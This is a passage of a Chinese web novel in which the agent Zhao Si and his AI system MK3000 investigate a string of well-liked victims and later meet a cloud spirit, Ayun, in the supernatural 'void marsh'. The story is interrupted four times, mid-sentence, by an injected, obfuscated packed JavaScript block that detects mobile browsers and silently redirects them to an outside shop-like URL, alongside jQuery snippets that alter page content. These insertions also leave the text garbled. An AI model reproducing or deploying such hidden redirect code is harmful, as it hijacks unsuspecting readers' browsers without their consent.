“斜对面那家理发店的老板娘说,她儿子放学没人接的时候,刘大勇还帮忙看过几次孩子。” 小七说得眉飞色舞,末了还补了一句:“反正问了一圈,没有一个人说他不好。大家都说他是个老实人,本分人,好人,我可真是头一次看见这么招人喜欢的人。” 阿杰在旁边点头附和。 赵四皱了皱眉。 现在他感觉刘大勇问题更大了。 归根结底,一个能够被所有人喜欢的人,真的是真实存在的吗? 人不是钞票,做不到让每个人都喜欢。再好的一个人,也总有人看他不对眼,这是常识。 可刘大勇偏偏做到了。 所有人都在夸他。 所有人都在说他好。 所有人提起他,脸上都是那种“好人怎么就这么死了”的惋惜。 这不对劲。 赵四抬头看了一眼那扇贴着封条的店门。 门上的封条在风里轻轻飘动,白纸黑字,像一道沉默的判决。 小七顺着他的目光看过去,哎了一声,从怀里变魔术似的掏出一支胶水,赶忙去把封条贴结实。 赵四他们刚才是揭开封条进去的,现在现场都看完了,可不是得重新粘好吗。 等小七忙活完,赵四收回目光。 “走吧。”他说,“该去下一个地方了。” …… 按死亡时间排列的顺序来看,第一个是厨师刘大勇,第二个是作家张维安,第三个是政客于海波。 一行四人连着跑了三个现场。 等从于海波的别墅里出来的时候,连神经大条如小七都感觉到了不对劲。 “这几个人……”他迟疑地看向阿杰,寻求确认似地问,“也太受人欢迎了吧?刚才咱们走访这么大一圈,是不是没有任何一个人说过这三个人一句坏话?” 阿杰点头,表情复杂:“你没记错。确实是这样。” 小七沉默了。 天啊,现在死的这三个人,不会正好包揽“全世界最受欢迎的人”前三名吧? 他们此刻正站在政客于海波的别墅里。 客厅很大,装修考究,落地窗外是精心打理的花园。 旁边就是正在为死去的主家而悲伤难过的帮佣们——两个阿姨,一个园丁,还有一个司机。 赵四用自己丰富的人生经历打包票,这些人绝对全是真心实意地在伤心。 那种红啊几个人都红着眼眶、说话带着鼻音、时不时就要背过身去擦眼泪的状态是很可怕的。 更可怕的是,这里面没有一个人是演的。 赵四感觉眼睛有点痛,他移开了视线。 【三儿,扫描。】 MK3000应了一声。 几秒后,它说:【和厨师、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264584|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作家那边一样,这里也有很淡的虚沼能量残留。】 赵四的目光扫过整个客厅。 于海波死得最晚,线索保留应该也是最充分的。 【有办法确定虚沼残留能量最多的地方吗?】 MK3000表示可以试试。 在MK3000努力的同时,四个大活人也没闲着。 沈恕在翻看书房里的文件,阿杰在检查门窗,小七在跟那些帮佣们聊天。 赵四在客厅里慢慢走。 他的目光从沙发移到茶几,从茶几移到电视柜,从电视柜移到那面形似多宝格的隔断。 隔断上摆着各种装饰品:瓷器、摆件、几本精装书。 ——还有一个倒扣下去的相框。 是一家人的照片。 于海波和他的妻子站在两个孩子两边,衣着正式,脸上带着的笑容端庄又自然。 这像是专门去照相馆拍的那种全家福。 他把相框放回原处,正准备移开目光,忽然又停住了。 相框的背板,有一点点翘起,不仔细看根本看不出来。 但他蹲下来的时候,角度正好,那一点缝隙在灯光下投下一道极细的阴影。 赵四想了想,干脆把相框拿起来,三下五除二拆开了背板。 里面夹着的一张纸条,顿时飘了出来。 他伸手接住。 纸条不大,对折了两次,纸张边缘已经有些发黄。 上面只有寥寥数字,字迹是一笔一划认真写的那种板正。 “噩梦 “重生” “虚沼侦探……?” 几个词,让赵四心里生出一种“果然来了”的尘埃落定感。 【青阳渡的生意倒是做得大。】他在心里说,【到底是谁在一直帮他做免费宣传?】 是的,在作家张维安那里查看现场的时候,赵四也发现了关于虚沼侦探的文字记录。 作家临死前写的最后一篇日记里,也提到了“虚沼侦探”四个字。 三个人,三个不同的地方,三个不同的死法—— 但他们都去找过青阳渡。 或者说,他们在死之前,都因为某些原因,准备去找青阳渡。 赵四感慨:【来者不善呐。】 赵四把纸条重新夹回相框背板里,然后把相框按原样装好,倒扣着放回原位。 幕后的这个人先是送来了那个包裹,用那首谜语诗告诉他“还有七个月落的时间”。 然后又用他的侦探名头挑衅,让这些死者临死前都留下关于“虚沼侦探”的记录,像是刻意要把线索指向他。 这种被引导着一步步向前走的感觉不算好。 至少赵四完全没有拓展了生意的喜悦,反而全是风雨欲来的平静。 他转身,看向站在门口的沈恕。 沈恕靠在门框上,手里拿着一个笔记本——大概是从书房里翻出来的——正在翻看。 察觉到赵四的目光,他抬起头。 两人对视了一秒。 赵四说:“还剩两个,企业家和艺术家。走吧,挑一家去看看情况。” 沈恕合上笔记本:“艺术家去外地参加画展了,不在本市。” “这么巧?” 沈恕没说话。 于是赵四笑了笑。 那笑容里没什么温度,仅仅只是做了个表情罢了。 他说:“那就先找企业家聊聊吧。” 57.第57章 玫瑰战争15 企业家的公司在市中心,一栋高档写字楼的最上面三层。 电梯门打开,入目就是一面巨大的企业Logo墙。 灯光打得恰到好处,把那几个烫金大字映得熠熠生辉。 前台小姐听说他们是事务署的人,看过沈恕携带的证件后打了几个电话,得到了老板正在开会的消息后,礼貌地将他们请到了会客室,请他们稍作等待。 小七待不住,问过沈恕的意见后,拉着阿杰就去外面转悠了,看起来是想多套套公司员工的话。 赵四在沙发上坐下,目光慢慢扫过整个房间。 会客室很大,落地窗外是整个城市的天际线。 高楼林立,车流如织。 阳光透过玻璃洒进来,照得一室亮堂。 沙发是真皮的,坐上去软硬适中。 茶几上摆着新鲜的水果,车厘子、蓝莓、切好的哈密瓜,码得整整齐齐,像是刚从冰箱里端出来的。 水果旁还摆了一个细颈白瓷花瓶,花瓶里像模像样地插着一支玫瑰。 只是和水果不一样,这朵玫瑰的花瓣边缘已经开始干瘪。 那花苞蔫蔫地垂着头,像是一个精致妆容下难掩疲惫的人。 已经快要枯萎了。 【三儿,这玫瑰挺眼熟啊。】 MK3000已经开始扫描了:【和早上那朵看起来是同一个品种。】 果然。 赵四刚收回目光,就听见一个声音从门口传来。 “青阳顾问对这花感兴趣?” 赵四抬头。 门口站着一个脸上带着恰到好处笑容的中年男人。 他穿着一身得体的深灰色西装,领带系得一丝不苟,袖口的袖扣在灯光下闪着低调的光泽。 周明远。 也就是档案中的第四个人——企业家。 赵四没有回答他的话,只是看着他。 周明远也不在意。 他步履从容地走进会客室,皮鞋踩在大理石地面上发出笃笃的轻响。 这姿态显然放松极了,像是这场会面只是他日程表上一个普通的安排,而不是什么突然袭击。 他在赵四和沈恕对面坐下,翘起二郎腿,目光从那朵玫瑰上掠过。 “这花也是我才淘来的新品种,还挺贵。”他笑了笑,语气里带着点自嘲,“可惜我不会养花,眼看着就要死了。” 他顿了顿,目光落回赵四脸上。 “二位今天来,是有什么事?” 赵四看着他。 【看这位周总说的话。】他对MK3000说,【有根的花才能活得更久吧,鲜切花想在花瓶里养活,是有点儿难度。】 MK3000接道:【他这话说得,我感觉有点奇怪。】 【他啊……】 能不怪吗? 这个周明远从走进来那一刻起,就在刻意装作一副云淡风轻、一切尽在掌握的样子。 但是这可太刻意了。 刻意到让有心人一眼就能看出来他在绷着。 也不知道这是演技太好,还是演技太差。 赵四看了一眼沈恕。 沈恕收到暗示,轻咳一声,开口道:“周总,今天来主要是有几个问题想请教一下。” 周明远点点头,笑容不变:“请说。” 沈恕打开笔记本,开始问话。 “周总,请问您和于海波先生认识吗?” “认识。生意场上打过几次交道。” “最近一次见面是什么时候?” “上个月吧,一个酒会上。” “您对最近发生的这几起死亡事件有什么看法?” “什么死亡事件?抱歉,最近我没关注什么社会新闻,不太清楚这些事。当然,人死了总是不幸的,我也很惋惜。” “那您自己最近有没有遇到什么异常情况?比如做噩梦,或者收到奇怪的东西?” 周明远笑了。 “没想到事务所的大人物还关心我的睡眠情况,有点受宠若惊啊。” 沈恕拿笔敲了敲笔记本,“请认真回答我的问题。” “没有。”周明远很配合地收敛了笑意,“我睡眠很好,从来不做梦。至于奇怪的东西……我多问两句,怎么才算奇怪的东西?我感觉我身边的一切都还挺正常的,和以前差不多。” 沈恕又问了几个问题,周明远的回答滴水不漏。 但深究下去,他每个问题都答了,但每个回答里都没有任何多余的信息。 抛开他对语言的包装,实际上他所有的回答可以浓缩成四个词。 不认识、不清楚、不知道、没有。 赵四仔细观察着周明远的表情,从头到尾,他都保持着那种特意的紧绷和刻意的从容。 这状态有点太稳定了,稳定得不像是一个正常人在被官方人员询问时的反应。 之前关于演技的问题,现在有了答案。 周明远演技不但不差,反而很优秀。 他只是在用表层的状态,去遮掩真正的问题。 这时,沈恕那边也收了尾。 “今天打扰周总了。”他合上笔记本,站起身。 周明远也站起来,笑容依旧:“不打扰,二位才是辛苦跑这一趟。要是之后还有什么需要问的,随时来,我一定配合。” 他亲自把两人送到会客室门口,还朝外面等着的秘书点了点头,示意她好好送客。 赵四走出会客室,穿过那面巨大的Logo墙。 小七和阿杰见他们出来了,忙跟各自正在聊着什么的公司员工告了个别,快步跟上,一起走进电梯。 电梯门缓缓合上,把秘书的笑脸隔绝在外。 直到电梯开始下行,MK3000才开口:【有件事,专员。】 【怎么?】 【那支玫瑰。就在刚刚短短半个小时内,枯萎的程度加深了。】 赵四的目光微微一顿。 枯萎程度突然加深…… 【三儿,刚刚沈恕问话期间,你开能量检测了吗?】 真巧,MK3000怕他们不知道什么时候就中了招,能量检测是一直开着的。 这时候不就派上用场了。 【从周明远出现的那一刻开始,会客室的能量波动就有了一个微弱的提升。】 MK3000说,【通过分析比对,我认为周明远带来的能量波动,和虚沼的能量波动存在高度相似。】 电梯在下降。 楼层数字一格一格跳动:28、27、26…… 赵四看着那些跳动的数字,没说话。 沈恕也盯着数字,目光深沉,不知道在想什么。 本来还想汇报一下自己套话成果的小七和阿杰对视了一眼,默契地闭上了嘴。 电梯里只有机器运行的轻微嗡嗡声。 直到他们走出电梯,重新坐回车上,赵四才问两人:“你们问出什么来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269607|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小七立刻来劲了,身子往前一探,差点从后座窜到前座。 得亏开车的沈恕手稳,并没有受到他的影响。 小七自觉地缩回后座,动作收敛不少。 “问出来了不少东西!”他说,“青阳顾问您不知道,那个前台小姑娘可好说话了,我问什么她答什么——” 阿杰在旁边轻轻咳了一声。 小七立刻改口:“当然,我都是绕着弯子问的,绝对没让人家察觉到我们在打听什么!” 赵四点点头,示意他继续。 小七压低声音,神神秘秘地说:“那个小姑娘说,周总最近好像变了个人似的。” “变了个人?” “就是……”小七想了想,努力组织语言,“她说以前周总挺随和的,有时候还会跟她们开开玩笑。” “但是这半个月,周总整个人都绷着,说话做事都小心翼翼的,像是在怕什么。” 阿杰在旁边补充:“我问的是保安。” “保安说周总最近作息时间也变了,以前他每天都是七点半准时到公司,现在有时候凌晨三四点就来,有时候中午才到,完全没有规律。” 突然改变了作息时间? 赵四看向努力支棱着,显然还有话说的小七。 小七得到了鼓励似得积极举手:“还有还有!有人说,周总前几天让人买了一堆玫瑰花回来!各种品种,各种颜色d的都有,摆了整整一办公室呢!” 这次连沈恕从后视镜里看了过来。 “一堆玫瑰花?” “对,一堆。”小七点头,“她说那几天办公室全是花,搞得她们上班都打喷嚏。” “结果没两天,那些花就全不见了。最后就剩下会客室那一支,说是周总特意交代要留下的。” 阿杰接了一句:“保洁阿姨那边也说,那几天玫瑰花堆得太多,搞得她工作都不好开展了。” 赵四想了想,问道:“那些花最后去哪儿了?” 小七这次不太好意思了:“这……这倒是没问出来。那姑娘说花是突然不见的,她也不知道是被扔了还是被送到哪儿去了。” 赵四点点头没再说话。 他向后靠在椅背上,舒展了肩背,看向窗外。 车子驶过街道,穿过一个又一个路口。 枝繁叶茂的行道树从车窗边掠过,在他身上投下一道道斑驳的光影。 【三儿。】 MK3000应了一声。 【你说周明远买那么多玫瑰,是想干什么。】 MK3000想了想:【在找什么可能藏在玫瑰里的东西?】 赵四点点头。 他也是这么想的。 那些玫瑰里,有普通的,有稀有的,有便宜的,有昂贵的。 周明远让人把各种品种都买回来,然后一一看过,最后只留下了那一支。 他在找什么? 或者说,他在确认什么? 赵四想起会客室里的那支玫瑰。 花瓣边缘已经干瘪,花苞蔫蔫地垂着头。 MK3000说,在周明远出现的那半个小时内,它的枯萎程度突然加深了。 为什么? 他闭上眼,靠在椅背上,让今天一天得到的信息在脑海中慢慢流过。 线索像碎片一样在他脑海里飘浮着,忽远忽近。 他总觉得好像还忽略了什么。 ……到底是什么呢? 58.第58章 玫瑰战争16 车子在华南佳苑门口稳稳停下。 赵四睁开眼,推开车门。 小七从后座探出头来,一脸真诚。 “青阳顾问,您今天跑了一天,回去好好休息!明天有什么任务随时叫我们!” 阿杰也点点头,“您注意身体。” 赵四笑了一下:“知道了。你们也是,回去早点休息。” 小七用力挥手,直到车门关上,车子掉头远去。 赵四站在小区门口,看着那辆车消失在夜色里。 然后他转身,慢慢往家走。 夜风有点凉,吹得树叶沙沙响。 他走过今天刚熟悉起来的小路,上楼,开门。 门在身后关上的那一刻,世界安静了下来。 赵四没有开灯。 他只是走到沙发前,坐下,然后让自己整个人陷进柔软的靠垫里。 黑暗里,他盯着天花板,慢慢把今天的事又过了一遍。 四个现场、四份档案、四条会客簿上的记录。 刘大勇——所有人都说他好,好得不像是真人。 他的委托是“犯罪之后怎么脱罪”,可他的罪,到底是指什么? 张维安——赵四他们在张维安那里找到了几篇灵感小记。 最后一篇里,写着“凶手可能是我自己,是时候去找找那个侦探了”的字样。 于海波——那张纸条上的“噩梦”“重生”“虚沼侦探”。 他在期待什么,又在恐惧什么? 而周明远…… 赵四的思绪在这里停了一下。 周明远。 他想起会客室里的对话。 沈恕问话,周明远回答。 每个问题都答了,每个回答都没有多余的信息。 可是—— 赵四忽然坐直了。 他想起来自己忽略了什么了。 沈恕问的那些问题里没有“虚沼侦探”! 赵四盯着黑暗中的某个点,目光一点一点沉下去。 按理说,档案中的五个人都去找过青阳渡,这是署长亲口告诉他的事实。 沈恕作为特别行动队队长,不可能不知道这个信息。 可是刚才在周明远的会客室里,沈恕从头到尾,一个问题都没有往“虚沼侦探”这个方向问。 他没问周明远认不认识青阳渡。 没问周明远有没有去过那间事务所。 更没问周明远有没有关于虚沼侦探的记录。 赵四慢慢靠回沙发里。 他想起沈恕问话时的表情:认真、专注、公事公办。 他想起周明远回答时的滴水不漏:从容、克制、恰到好处。 赵四就坐在旁边观察着一切。 直到现在,坐在这间黑暗的客厅里,他才猛然意识到了问题所在。 这不对。 太不对了。 赵四几乎要被自己蠢到了,他问MK3000:【我的认知被更改了?】 MK3000没有犹豫,它斩钉截铁的告诉赵四,【不可能,从助手一号莫名其妙的中病毒开始,我就启用了最高级的防护模块。】 这可不是日常防护那种级别,这种等级的防护模块除了消耗的能源是海量外,可以说几乎没有缺点。 这可不单单能防电子病毒,还能预防模因污染等棘手问题。 有的时候专员难免去一些世界观奇诡的克系世界做任务,靠着这款防护模块也能安全通关,全须全尾的返回中心。 听到是这神器,赵四的眉头舒展开来,不再怀疑自己的认知被更改。 他欲言又止:【这……报销吗?】 他记得这属于特殊品类消耗,说是特殊任务会全款报销是不假,但这个还真不一定…… MK3000咳嗽了一下,小声道:【……我相信主系统英明神武,不会介意我们在本次任务过程中全程开着这个的。】 潜台词是:专员,报不报的,就看咱俩之后写报告的水平了。 赵四也咳嗽一声,和自家系统交换了一个“一切尽在不言中”的眼神,随后纷纷将目光移开。 他正色道:【既然没有被更改认知,那就是别的未知原因了……不管怎么说,三儿,先上调沈恕的警戒等级。】 MK3000对赵四保证:【你放心,我一定守好你的精神底线。】 真是一如既往的让人安心啊,他的搭档。 说完这件事,赵四闭上眼,再次回忆了一下今天一整天发生的事。 然后他站起身,走进卧室,刚准备躺下准备睡觉,动作就顿了顿。 这床……说起来青阳渡就是在这里死的呢。 MK3000习惯性的检测着专员的疲惫值,见赵四停下了动作,疑惑道:【专员?】 赵四耸耸肩,心中微微一哂。 算了算了,倒也没什么可在意的。 他躺在床上闭上眼睛,在一片安静中沉沉睡去。 操作间里的MK3000看见睡着了比画还好看的专员,也小小的打了个哈欠。 柔软的触手隔空拍了拍赵四的头顶。 “祝你好梦,赵四专员。” …… 不知道过了多久,睡着后板正的像在躺板板的赵四被一阵敲门声吵醒。 那不是正常的敲门。 是那种很轻、很柔、像是怕惊扰什么似的声音。 笃笃笃,笃笃笃。 一下一下,敲得很有节奏。 赵四睁开眼,残留的些许迷茫很快散去。 他下意识看向窗外,半拉上的窗帘外一片漆黑。 从他的方位正好能看见月亮还高高挂在半空。 昨天大半个白天都毫无存在感的助手一号小声报时:“现在是凌晨两点十七分,主人你睡了四个小时左右。” MK3000则道:【请注意,你已经进入了虚沼。】 赵四:? 不是,等等。 他就正常睡个觉,怎么就突然就到虚沼里来了? 大门外的敲门声还在继续。 不急不缓的,像是有只小猫在用爪子轻轻挠门。 赵四听了一会儿,确定虚沼里不会有邻居来投诉他扰民后,懒洋洋地坐起身,披上外套走向门口。 他没有直接开门,而是先透过猫眼往外看了一眼。 门外站着一个女人。 很年轻,二十多岁的样子,穿着一件月白色的长裙,长发披散在肩上。 她长得很好看,是那种带着点古典韵味的好看。 只看着她,就会知道什么叫做“眉如远山含黛,目似秋水横波”。 她往门口一站,搞得赵四家门口都像是沾了仙气儿,平白不似在人间。 当然了,现在他还真是不在人间了。 赵四正想着这些有的没的,他透过猫眼往外看的举动就被察觉到了。 女人抬头看向猫眼,笑的眉眼弯弯。 她的手指轻轻搭在门上,又敲了几下,在催他开门。 MK3000:【好经典的鬼片配置……你要开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277699|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门吗?】 赵四沉默了一秒,然后愉快地决定——开门会会这位夜半来客。 那光芒不是普通的亮,而是物理意义上的光明扫射。 这光刺得赵四下意识唰的一下闭上了眼睛,眼角泛起了泪光。 他耳中只听见女人拖长声音道:“郎君好狠的心啊——” 那声音哀婉柔和,如泣如诉。 像是离人等了千年终于等到负心汉,又像是一只美貌的家宠在控诉主人怎么这么久才开门。 好听是真好听,怨也是真怨。 但配上那双跟探照灯似的眼睛,就只剩五个大字—— 什么玩意儿? 这姑娘眼睛里装手电筒了?? 见他闭眼,那女人又往前凑了凑。 “不过没关系,你这么对我我也好高兴。”她的语气忽然变得高兴起来,光芒也跟着跳跃了一下。 “毕竟这么多年了,你只对我这样特殊过——我可是郎君你心中最重要的人?” 赵四在心里呵呵。 别说人不人的了,反正他是不信虚沼里会冷不丁冒出来一个突脸的正常人的。 他戳戳MK3000:【扫描一下这姑娘?】 MK3000一秒出答案:【妥妥的情绪构造体。】 【……那它长得还挺人模人样的。】 女人见赵四不说话,疑惑地抬头看他:“郎君?” 那光芒又往他脸上怼了怼。 赵四抬手捂了下眼睛:“你停停,咱们商量个事儿。” 女人眨了眨眼,无辜地看着他。 赵四:“别拿你那会发光的眼睛盯着我看了,我眼疼。” 女人愣了一下,然后期期艾艾地“哦”了一声。 她低下头,像是在做什么调整。 几秒后,她抬起头,小心翼翼地看着赵四,声音更软了:“好点了吗?” 从刺眼大功率手电筒,变成了会自己换灯光颜色的俩眼珠子。 此刻正幽幽地泛着柔和的粉色光晕,跟两盏小夜灯似的。 赵四深深地、深深地叹了口气。 短短几句对话已经足够他判断出来了,这姑娘对他没恶意……至少主观上没恶意。 那么这半夜来客到底是干什么的? MK3000下了判断:【专程来找你的吧,侦探。】 赵四认同了MK3000的话,只是…… 说真的,既然是专程来找他的,那真没必要继续折磨他的眼睛了。 女人恍然大悟! “原来郎君还是更喜欢我的真身?”她眼睛一亮,光芒从粉色跳成金色,“早说呀。” 变成人也累的,能量消耗都大几倍呢。 赵四还没来得及说话,就看见女人的身影开始变得模糊。 伴随着一阵熟悉的寒意,弥漫的雾气从四面八方涌来,将她的身形层层笼罩。 月光透过雾气,在她身上投下斑驳的光影。 然后—— 人类的身体像点燃的蜡烛一样,从边缘开始融化。 不是那种血腥的融化,而是温柔的、安静的…… 雾气翻涌着,在窸窣声中,有什么看似柔软的东西,缓缓飘了起来。 他下意识觉得自己手边应该有个保温杯。 那种透明的、玻璃的、带盖子的、能被人揣在身上的保温杯。 MK3000对比了能量波动,又结合着这仿佛美少女变身一样的场景,也明白了。 【原来如此,竟然是它啊——】 59.第59章 玫瑰战争17 女人最终变成了一大团凝实的云雾。 那团黑灰色的云边缘泛着微微的幽光,只是飘在门口,整个空间的温度就直线往下掉。 赵四呼出一口白气,看着它在空气中缓缓散开。 啊,这熟悉的降温。 更别说还有MK3000的作弊,赵四就算再傻也猜出来这是谁了。 他打了个寒战,继而释然地笑了。 “胡主任?” 那团冻云猛地一颤。 然后她——它?——发出了一阵自带回音和混响的笑声。 那笑声和刚才的矫揉造作完全不一样了,自然大方,带着点熟稔的亲近。 “哎呀,我不信你没看出来,那只是分体啦。” 她在半空中轻轻浮动,边缘的光一闪一闪的,像无数快速张开又闭合的眼睛。 “我看那天感觉你的状态不太好,又听见那群人类说什么凶案什么嫌疑犯的,怕后续事情闹太大不好收场,所以分了身出来替你拖延拖延时间……” 赵四沉默了一秒。 他想起那天凌晨。 想起沈恕带着人堵在门口。 想起那个“胡主任”在门外拍门,指甲刮在金属上的咯吱声。 想起自己拉开门的瞬间,那团黑灰色的雾气被他一把拽出来,毫不犹豫地塞进保温杯里。 【三儿啊。】他在心里幽幽地说,【我是真以为自己解决了一个找上门来的麻烦来着。】 MK3000表示理解,并默默给冻云头上贴了个【友军】的词条。 赵四看着眼前那团还在微微浮动的冻云,大脑快速运转起来。 假如那天真如这团云所说,她是来帮青阳渡才上的门…… 那青阳渡自身的异常就和这位胡主任毫无关系了。 那么问题又回到了原点。 青阳渡为什么会以那种隐秘而难以发现的“死亡”状态躺在自家卧室的床上? 他最后的日程记录上,那条“准备闭关”的背后到底发生了什么? 面前这团云,会知道吗? 那团冻云见赵四不说话,又往前飘了飘。 她的声音放软,带着点撒娇的意味:“我们都好久没见了,我想听你再叫我一声阿云嘛——” 赵四手指蜷缩了一下。 他自然地切换了状态,把态度转换成面对熟人的亲近。 “阿云,”他说,语气温和下来,“昨天的事,谢谢你。” 阿云在半空中顿了顿,然后整团云都亮了。 “嗯……嗯!”她的声音里带着惊喜,像是收到了什么天大的礼物,“不用谢不用谢!能帮到你我就很开心了!” 天啊,那个青阳渡,是那个青阳渡哦,竟然在对她道谢哎!! 阿云唰地一下亮了起来,整团云控制不住地上下飘动,肉眼可见地开心得转起了圈。 赵四看着她那副高兴得转圈的样子,唇角微微弯起,等她开心够了才问道:“你之前来找我是有事吧?发生什么了?” 阿云停了下来,边缘的光微微闪了闪。 “倒也没什么大事,主要是你之前说自己有事闭关,消失前还把事务所的‘钥匙’给我了,所以我今晚想着来试试能不能开门……” 她顿了顿,声音里带上了点困惑:“结果敲了半天,门没出现,倒是你从里面把门打开了。我还以为是我方法用错了呢。” 赵四的目光微微一动。 他让开大门,比了个“请”的手势:“那你现在再试试?” 阿云快乐地飘到门口,伸出一缕云一勾—— 啪的一声,门关上了。 半夜被喊起来开门导致没拿钥匙的赵四眼皮跳了跳,倒是没出声,只是安静地看着阿云动作。 然后他看见阿云深吸了一口气——别问他是怎么看出来一朵云在深呼吸的——再吐气的时候,大量白色的冻雾从她体内涌出,覆盖了整扇大门。 雾气中,一阵有节奏的敲门声传来。 笃笃笃、笃笃笃。 和刚才一模一样的节奏。 只是这次,不会有人在里面开门了。 阿云也不着急。 同样的节奏,她耐下心来敲了七遍。 七次过后,阿云深深吸气,又把那些雾吸了回去。 雾气散尽后,普通的防盗门已经不见了。 取而代之的,是另一扇门。 深色的木质,带着岁月的痕迹,门把手上系着一个小小的铜铃。 门板上有一道道细密的纹路,像是被无数人推过、摸过、依靠过。 这是——侦探事务所的门。 “成功了!”阿云晃了晃身体,松了口气似地,“我就说你给我的‘钥匙’不可能失效。刚才突然打不开门了,我可是被吓惨了。” 赵四站在门口,隔着阿云看着这扇门,脑子里飞快地过着信息。 【三儿,阿云今晚敲门大概敲了多久?】 MK3000给出了一个精准的答案:【敲三声为一次的话,她敲了二十一次。这二十一次中,每隔七次,她会暂停一小段时间,像是在等着什么。】 现在他们都知道了,阿云确实是在等——她在等事务所的大门出现。 但是她没有等到门,而是等到了赵四的开门。 【有意思。】赵四在心里分析道,【刚才阿云说“失效”。也就是说,“我”在302的时候,阿云这套开门的办法很可能是无效的。】 所以在他出门之后,再让阿云重新试验了一下开门——这次就成功了。 阿云对这套方法很熟练,但又不太了解其中的变化机制。 从这点来看,她很有可能是第一次在青阳渡长期未归的情况下,拿着事务所的开门权限,所以才对突发情况不太熟悉。 赵四对MK3000笑道:【昨天经历了事务署上门的事,阿云今晚八成是来确认青阳渡的情况的。不过经了这一遭,我倒是对她对青阳渡的了解程度有了信心。】 MK3000了然:【知道很多但又没深入到核心、对顶着青阳渡身份的你怀有善意的构造体——是你现在最需要的类型。】 可不是吗? 赵四现在最缺的就是情报。 阿云这样的构造体送上门来,简直是免费的豪华情报大礼包啊! 阿云拉动了门把手上的铜铃,让铃声也响了七次后,才推开事务所的大门。 见赵四还没动,她从门后探出半个身子:“进来呀。” 赵四迈步走了进去。 壁炉里的火焰跳动着,橙红色的光映在墙上那幅画上。 画里的人影还是模糊的,但那层水雾似乎又薄了一点。 办公桌上的会客簿安静地躺着,封面微微翘起一个角,像是在说“欢迎回来”。 阿云已经飘到置物柜旁边,熟练地翻出一套清扫装备。 她穿上那件长得奇形怪状、上面还印着“清洁专用”字样的小马甲,举起鸡毛掸子,自然而然地开始打扫起来。 一边打扫,她一边絮絮叨叨地吐槽: “之前你把开门方法教给我,也没告诉我要干什么,我还以为是要我帮你处理委托呢……结果后来会客簿告诉我了!你竟然是让我来定期帮你打扫卫生!” 她抖了抖鸡毛掸子,拂过书架上的灰尘。 “我的青阳先生哎,你又不是不知道你这儿不算正儿八经的虚沼,我又用不了太多能力,每次来都只能一点一点地扫,扫完能累瘦一圈!” 赵四靠在门框上,看着她忙活。 那团冻云在半空中飘来飘去,鸡毛掸子在她手里灵活得像长了眼睛。 她拂过书架上的灰尘,擦过窗台上的绿植,甚至还给壁炉装饰性地添了几块柴。 动作熟练得像是做了千百遍。 赵四忽然开口:“阿云。” 阿云停下来,回头看他。 赵四问:“你平时经常来吗?” 阿云点点头,整团云跟着晃了晃:“对呀。你不在的时候,我隔几天就来打扫一下。反正我也没什么事,到处飘也是飘,不如来帮帮忙。” 她顿了顿,语气里带上了点愤愤:“结果昨天我过来,就遇上了一群水洼衙门的特殊人类!他们也太大胆了吧,竟然敢在夹缝中埋伏在你家门口!” 赵四挑眉:“他们?” “对呀,就是你房间里那群人。”阿云飘近了一点,神秘兮兮地压低声音。 “我在周围看了好一会儿,就那一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286545|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿工夫,他们就吸引来了三波恶意构造体。我看他们的领头人还挺眼熟的,怕再看下去真让他们死了,说不定会坏你的事。” 所以赶跑那些构造体后,她就赶快挑了个刚掉进虚沼的人类附身,跑到大门口去帮忙了。 赵四的目光微微一凝。 MK3000也惊讶道:【胡主任是掉进虚沼之后被阿云捞出来的?!】 赵四面不改色,温声问道:“你还记得你是在哪里捡到胡主任的吗?” 阿云抖了抖,对来自“青阳渡”的温柔不太适应地飘远了点,才说道:“就在你家楼下啊。” 她想了想,补充道:“这个人类还挺特别的呢——他是主动跳进虚沼里的,而且特别好被附身……难道是特殊体质?” 她的声音里带上了点困惑:“人类那边不是对虚沼避之唯恐不及吗?像他这样的应该躲得比谁都快才对……难道这个人脑子有问题?” 说到这,阿云浑身一直亮闪闪的光都暗淡了不少,显然是难受起来了。 “噫,我附身过他,我脏了。” 赵四听完,眸光微沉。 